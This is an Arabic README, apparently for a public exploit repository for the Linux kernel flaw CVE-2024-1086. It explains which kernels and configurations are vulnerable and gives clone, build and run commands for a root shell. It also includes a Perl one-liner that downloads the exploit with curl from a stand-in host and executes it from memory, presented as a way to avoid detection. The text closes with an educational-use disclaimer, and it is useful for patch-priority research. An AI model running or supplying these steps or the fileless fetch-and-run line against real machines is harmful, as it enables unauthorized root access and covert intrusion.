
استغلال تصعيد صلاحيات محلي شامل لثغرة CVE-2024-1086 يستهدف نوى لينكس من الإصدار v5.14 إلى v6.6. يوفر شل صلاحيات الجذر (root) بمعدل نجاح 99.4% على KernelCTF. يتضمن تنفيذًا بدون ملفات (fileless) للتمويه.
استغلال إثبات مفهوم عام لتصعيد الصلاحيات محليًا لـ CVE-2024-1086، يعمل على معظم نوى لينكس بين v5.14 و v6.6، بما في ذلك ديبيان وأوبونتو وKernelCTF. تبلغ نسبة النجاح 99.4% في صور KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
يمكن العثور على تقرير كامل عن الاستغلال - بما في ذلك المعلومات الأساسية والكثير من المخططات المفيدة - في منشور مدونة Flipping Pages.
يؤثر الاستغلال على الإصدارات من v5.14 (شاملًا) إلى v6.6 (شاملًا)، باستثناء الفروع المُصححة v5.15.149> وv6.1.76> وv6.6.15>. تم إصدار التصحيح لهذه الإصدارات في فبراير 2024. الثغرة الأساسية تؤثر على جميع الإصدارات (باستثناء الفروع المستقرة المُصححة) من v3.15 إلى v6.8-rc1.
ملاحظات:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (بما في ذلك Ubuntu v6.5)CONFIG_USER_NS=y)، وأن تكون مساحات الأسماء هذه غير مميزة (أمر sh sysctl kernel.unprivileged_userns_clone = 1)، وأن يكون nf_tables مفعّلاً (kconfig CONFIG_NF_TABLES=y). افتراضيًا، تكون جميع هذه الخيارات مفعّلة على ديبيان وأوبونتو وKernelCTF. لم يتم اختبار التوزيعات الأخرى، لكنها قد تعمل أيضًا. إضافةً إلى ذلك، تم اختبار الاستغلال فقط على x64/amd64.القيم الافتراضية يجب أن تعمل مباشرة على ديبيان وأوبونتو وKernelCTF مع قشرة محلية. في الإعدادات/التوزيعات غير المختبرة، يرجى التأكد من تطابق قيم kconfig مع نواة الهدف. يمكن تحديدها في src/config.h. إذا كنت تشغّل الاستغلال على جهاز بذاكرة فعلية أكبر من 32GiB، فتأكد من زيادة CONFIG_PHYS_MEM.
إذا كنت تشغّل الاستغلال عبر SSH (إلى جهاز الاختبار) أو عبر قشرة عكسية، فقد ترغب في ضبط CONFIG_REDIRECT_LOG إلى 1 لتجنب النشاط الشبكي غير الضروري.
إذا كان هذا غير عملي بالنسبة لك، فهناك ملف ثنائي مُجمَّع لـ x64 بالإعداد الافتراضي.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
الملف الثنائي: CVE-2024-1086/exploit
تشغيل الاستغلال سهل بنفس القدر:
./exploit
يُدعم أيضًا التنفيذ بدون ملفات، في حالات اختبار الاختراق حيث يجب تجنب الاكتشاف. ومع ذلك، يجب تثبيت Perl على الهدف:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
البرامج والنصوص البرمجية ("البرامج") في هذا الدليل/المجلد/المستودع ("المستودع") منشورة ومطوّرة وموزعة لأغراض تعليمية/بحثية فقط. أنا ("المُنشئ") لا أقرّ أي استخدام خبيث أو غير قانوني للبرامج في هذا المستودع، إذ أن القصد هو مشاركة الأبحاث وليس القيام بأنشطة غير قانونية بها. لست مسؤولًا قانونيًا عن أي شيء تفعله بالبرامج في هذا المستودع.